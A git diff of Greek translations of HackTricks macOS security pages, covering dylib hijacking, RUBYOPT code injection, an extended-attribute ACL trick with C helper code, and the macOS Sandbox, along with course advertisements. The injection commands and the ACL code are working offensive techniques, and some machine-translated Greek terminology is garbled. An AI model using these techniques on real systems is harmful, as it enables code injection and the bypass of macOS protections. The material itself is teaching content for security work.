διαδρομή επανεξαγωγής που δημιουργείται στη βιβλιοθήκη είναι σχετική με τον φορτωτή, ας την αλλάξουμε σε απόλυτη διαδρομή για τη βιβλιοθήκη που θέλουμε να εξαγάγουμε: +Η διαδρομή επανεξαγωγής που δημιουργείται στη βιβλιοθήκη είναι σχετική με τον φορτωτή, ας την αλλάξουμε σε απόλυτη διαδρομή προς τη βιβλιοθήκη για εξαγωγή: {% code overflow="wrap" %} ```bash @@ -147,7 +148,7 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con ``` {% endcode %} -Τέλος, απλά αντιγράψτε το στην **καταχωρημένη τοποθεσία**: +Τέλος, απλώς αντιγράψτε το στη **κατεχόμενη τοποθεσία**: {% code overflow="wrap" %} ```bash @@ -159,29 +160,30 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
 2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
-Usage: [...]
+Χρήση: [...]
 
{% hint style="info" %} -Μια καλή ανάλυση σχετικά με το πώς να εκμεταλλευτείτε αυτήν την ευπάθεια για να εκμεταλλευτείτε τα δικαιώματα της κάμερας του Telegram μπορεί να βρεθεί στο [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) +Μια ωραία ανάλυση για το πώς να εκμεταλλευτείτε αυτήν την ευπάθεια για να εκμεταλλευτείτε τις άδειες κάμερας του telegram μπορεί να βρεθεί στο [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) {% endhint %} ## Μεγαλύτερη Κλίμακα -Εάν σκοπεύετε να προσπαθήσετε να εισαγάγετε βιβλιοθήκες σε αναπάντεχα δυαδικά αρχεία, μπορείτε να ελέγξετε τα μηνύματα γεγονότων για να διαπιστώσετε πότε φορτώνεται η βιβλιοθήκη μέσα σε ένα διεργασία (σε αυτήν την περίπτωση αφαιρέστε την printf και την εκτέλεση `/bin/bash`). +Αν σκοπεύετε να προσπαθήσετε να εισάγετε βιβλιοθήκες σε απροσδόκητα δυαδικά αρχεία, μπορείτε να ελέγξετε τα μηνύματα γεγονότων για να ανακαλύψετε πότε η βιβλιοθήκη φορτώνεται μέσα σε μια διαδικασία (σε αυτήν την περίπτωση αφαιρέστε το printf και την εκτέλεση του `/bin/bash`). ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' ``` +{% hint style="success" %} +Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Υποστηρίξτε το HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! +* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md index 51cc69667..353af2bdd 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md @@ -1,22 +1,23 @@ -# Εισαγωγή σε εφαρμογές Ruby στο macOS +# macOS Ruby Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} ## RUBYOPT -Χρησιμοποιώντας αυτήν τη μεταβλητή περιβάλλοντος, είναι δυνατόν να **προστεθούν νέες παράμετροι** στο **ruby** κάθε φορά που εκτελείται. Αν και η παράμετρος **`-e`** δεν μπορεί να χρησιμοποιηθεί για να καθορίσει κώδικα ruby προς εκτέλεση, είναι δυνατόν να χρησιμοποιηθούν οι παράμετροι **`-I`** και **`-r`** για να προστεθεί ένας νέος φάκελος στη διαδρομή φόρτωσης των βιβλιοθηκών και στη συνέχεια να καθοριστεί μια βιβλιοθήκη για φόρτωση. +Χρησιμοποιώντας αυτήν την μεταβλητή περιβάλλοντος είναι δυνατόν να **προσθέσετε νέες παραμέτρους** στη **ruby** όποτε εκτελείται. Αν και η παράμετρος **`-e`** δεν μπορεί να χρησιμοποιηθεί για να καθορίσει τον κώδικα ruby που θα εκτελεστεί, είναι δυνατόν να χρησιμοποιηθούν οι παράμετροι **`-I`** και **`-r`** για να προστεθεί ένας νέος φάκελος στη διαδρομή φόρτωσης βιβλιοθηκών και στη συνέχεια **να καθορίσετε μια βιβλιοθήκη για φόρτωση**. Δημιουργήστε τη βιβλιοθήκη **`inject.rb`** στο **`/tmp`**: @@ -26,7 +27,7 @@ puts `whoami` ``` {% endcode %} -Δημιουργήστε οπουδήποτε ένα ruby script όπως: +Δημιουργήστε οπουδήποτε ένα σενάριο ruby όπως: {% code title="hello.rb" %} ```ruby @@ -34,24 +35,25 @@ puts 'Hello, World!' ``` {% endcode %} -Στη συνέχεια, δημιουργήστε ένα αυθαίρετο ruby script και φορτώστε το με: +Στη συνέχεια, κάντε ένα αυθαίρετο σενάριο ruby να το φορτώσει με: ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb ``` -Ενδιαφέρον γεγονός, λειτουργεί ακόμα και με την παράμετρο **`--disable-rubyopt`**: +Διασκεδαστικό γεγονός, λειτουργεί ακόμη και με την παράμετρο **`--disable-rubyopt`**: ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt ``` +{% hint style="success" %} +Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Υποστήριξη HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! +* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md index d253173a1..3a750c9bc 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md @@ -1,27 +1,33 @@ # macOS xattr-acls extra stuff +{% hint style="success" %} +Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Υποστήριξη HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! +* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
- -\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown +{% endhint %} +```bash +rm -rf /tmp/test* +echo test >/tmp/test +chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test +./get_acls test +ACL for test: +!#acl 1 +group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a - -```` +```
-Κώδικας της συνάρτησης get_acls +Κώδικας του get_acls ```c // gcc -o get_acls get_acls #include @@ -61,47 +67,103 @@ acl_free(acl); acl_free(acl_text); return 0; } -```` - -\`\`\`bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start mkdir start/protected ./set\_xattr start/protected echo something > start/protected/something \`\`\` - +``` +
+```bash +# Lets add the xattr com.apple.xxx.xxxx with the acls +mkdir start +mkdir start/protected +./set_xattr start/protected +echo something > start/protected/something +```
-Κώδικας της set_xattr +Κώδικας του set_xattr +```c +// gcc -o set_xattr set_xattr.c +#include +#include +#include +#include +#include -\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include -void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; } +void print_xattrs(const char *filepath) { +ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW); +if (buflen < 0) { +perror("listxattr"); +return; +} -char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; } +char *buf = malloc(buflen); +if (buf == NULL) { +perror("malloc"); +return; +} -buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; } +buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW); +if (buflen < 0) { +perror("listxattr"); +free(buf); +return; +} -printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; } +printf("All current extended attributes for %s:\n", filepath); +for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) { +printf("%s: ", name); +ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW); +if (valuelen < 0) { +perror("getxattr"); +continue; +} -char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; } +char *value = malloc(valuelen + 1); +if (value == NULL) { +perror("malloc"); +continue; +} -valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; } +valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW); +if (valuelen < 0) { +perror("getxattr"); +free(value); +continue; +} -value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); } +value[valuelen] = '\0'; // Null-terminate the value +printf("%s\n", value); +free(value); +} -free(buf); } +free(buf); +} -int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; } -const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1]; +int main(int argc, char *argv[]) { +if (argc != 2) { +fprintf(stderr, "Usage: %s \n", argv[0]); +return 1; +} -int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; } +const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; +const char *filepath = argv[1]; -print\_xattrs(filepath); +int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); +if (result == 0) { +printf("Extended attribute set successfully.\n\n"); +} else { +perror("setxattr"); +return 1; +} -return 0; } +print_xattrs(filepath); -```` +return 0; +} +```
-
- +{% code overflow="wrap" %} ```bash # Create appledoublefile with the xattr entitlement ditto -c -k start protected.zip @@ -115,10 +177,24 @@ rm -rf protected.zip zip -r protected.zip protected ._protected rm -rf protected rm ._* -```` +``` +{% endcode %} +```bash +# Check if it worked +ditto -x -k --rsrc protected.zip . +xattr -l protected +``` +{% hint style="success" %} +Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) -\`\`\`bash # Check if it worked ditto -x -k --rsrc protected.zip . xattr -l protected \`\`\` +
+Υποστήριξη HackTricks +* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! +* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md index 5ecbd8fc6..9b1786839 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md @@ -1,35 +1,36 @@ -# Αμμοδοχείο macOS +# macOS Sandbox + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Βασικές Πληροφορίες +## Basic Information -Το Ammosdoxeío MacOS (αρχικά ονομαζόταν Seatbelt) **περιορίζει τις εφαρμογές** που εκτελούνται μέσα στο ammosdoxeío στις **επιτρεπόμενες ενέργειες που καθορίζονται στο προφίλ του ammosdoxeίου** με το οποίο εκτελείται η εφαρμογή. Αυτό βοηθά να διασφαλιστεί ότι **η εφαρμογή θα έχει πρόσβαση μόνο σε αναμενόμενους πόρους**. +Το MacOS Sandbox (αρχικά ονομαζόταν Seatbelt) **περιορίζει τις εφαρμογές** που εκτελούνται μέσα στο sandbox στις **επιτρεπόμενες ενέργειες που καθορίζονται στο προφίλ Sandbox** με το οποίο εκτελείται η εφαρμογή. Αυτό βοηθά να διασφαλιστεί ότι **η εφαρμογή θα έχει πρόσβαση μόνο σε αναμενόμενους πόρους**. -Οποιαδήποτε εφαρμογή με το **δικαίωμα** **`com.apple.security.app-sandbox`** θα εκτελείται μέσα στο ammosdoxeío. Τα **δυαδικά αρχεία της Apple** συνήθως εκτελούνται μέσα σε ένα ammosdoxeío και για να δημοσιευτούν στο **App Store**, **αυτό το δικαίωμα είναι υποχρεωτικό**. Έτσι, οι περισσότερες εφαρμογές θα εκτελούνται μέσα στο ammosdoxeío. +Οποιαδήποτε εφαρμογή με την **παροχή** **`com.apple.security.app-sandbox`** θα εκτελείται μέσα στο sandbox. **Οι δυαδικοί κωδικοί της Apple** εκτελούνται συνήθως μέσα σε ένα Sandbox και προκειμένου να δημοσιευτούν στο **App Store**, **αυτή η παροχή είναι υποχρεωτική**. Έτσι, οι περισσότερες εφαρμογές θα εκτελούνται μέσα στο sandbox. -Για να ελέγξετε τι μπορεί ή δεν μπορεί να κάνει ένας διεργασία, το **ammosdoxeío έχει hooks** σε όλες τις **κλήσεις συστήματος** στον πυρήνα. **Ανάλογα** με τα **δικαιώματα** της εφαρμογής, το ammosdoxeío θα **επιτρέπει** ορισμένες ενέργειες. +Για να ελέγξει τι μπορεί ή δεν μπορεί να κάνει μια διαδικασία, το **Sandbox έχει hooks** σε όλες τις **syscalls** σε όλο τον πυρήνα. **Ανάλογα** με τις **παροχές** της εφαρμογής, το Sandbox θα **επιτρέπει** ορισμένες ενέργειες. -Ορισμένα σημαντικά στοιχεία του ammosdoxeίου είναι: +Ορισμένα σημαντικά στοιχεία του Sandbox είναι: * Η **επέκταση πυρήνα** `/System/Library/Extensions/Sandbox.kext` * Το **ιδιωτικό πλαίσιο** `/System/Library/PrivateFrameworks/AppSandbox.framework` -* Ένα **daemon** που εκτελείται στον χώρο χρήστη `/usr/libexec/sandboxd` -* Οι **κάδοι** `~/Library/Containers` +* Ένας **daemon** που εκτελείται στο userland `/usr/libexec/sandboxd` +* Οι **κοντέινερ** `~/Library/Containers` -Μέσα στον φάκελο των κάδων μπορείτε να βρείτε **έναν φάκελο για κάθε εφαρμογή που εκτελείται μέσα στο ammosdoxeío** με το όνομα του αναγνωριστικού δέσμης: +Μέσα στο φάκελο κοντέινερ μπορείτε να βρείτε **έναν φάκελο για κάθε εφαρμογή που εκτελείται sandboxed** με το όνομα του bundle id: ```bash ls -l ~/Library/Containers total 0 @@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler [...] ``` -Μέσα σε κάθε φάκελο με το αναγνωριστικό της εφαρμογής (bundle id), μπορείτε να βρείτε το αρχείο **plist** και τον φάκελο **Data** της εφαρμογής: +Μέσα σε κάθε φάκελο bundle id μπορείτε να βρείτε το **plist** και τον **φάκελο Δεδομένων** της Εφαρμογής: ```bash cd /Users/username/Library/Containers/com.apple.Safari ls -la @@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData drwx------ 2 username staff 64 Mar 24 18:02 tmp ``` {% hint style="danger" %} -Να σημειωθεί ότι ακόμα κι αν τα συμβολικά συνδέσμοι υπάρχουν για να "δραπετεύσουν" από το Sandbox και να έχουν πρόσβαση σε άλλους φακέλους, η εφαρμογή πρέπει ακόμα να **έχει δικαιώματα** για να τους προσεγγίσει. Αυτά τα δικαιώματα βρίσκονται μέσα στο **`.plist`**. +Σημειώστε ότι ακόμη και αν οι symlinks είναι εκεί για να "διαφύγουν" από το Sandbox και να αποκτήσουν πρόσβαση σε άλλους φακέλους, η εφαρμογή πρέπει να **έχει άδειες** για να τους προσπελάσει. Αυτές οι άδειες βρίσκονται μέσα στο **`.plist`**. {% endhint %} ```bash # Get permissions @@ -114,12 +115,12 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... [...] ``` {% hint style="warning" %} -Όλα τα δημιουργημένα/τροποποιημένα από μια εφαρμογή που εκτελείται σε άμμο θα λάβουν το **χαρακτηριστικό καραντίνας**. Αυτό θα εμποδίσει τον χώρο άμμου να ενεργοποιήσει τον Gatekeeper αν η εφαρμογή άμμου προσπαθήσει να εκτελέσει κάτι με την εντολή **`open`**. +Ό,τι δημιουργείται/τροποποιείται από μια εφαρμογή που είναι σε Sandbox θα αποκτήσει το **χαρακτηριστικό καραντίνας**. Αυτό θα αποτρέψει έναν χώρο sandbox ενεργοποιώντας τον Gatekeeper αν η εφαρμογή sandbox προσπαθήσει να εκτελέσει κάτι με **`open`**. {% endhint %} -### Προφίλ άμμου +### Sandbox Profiles -Τα προφίλ άμμου 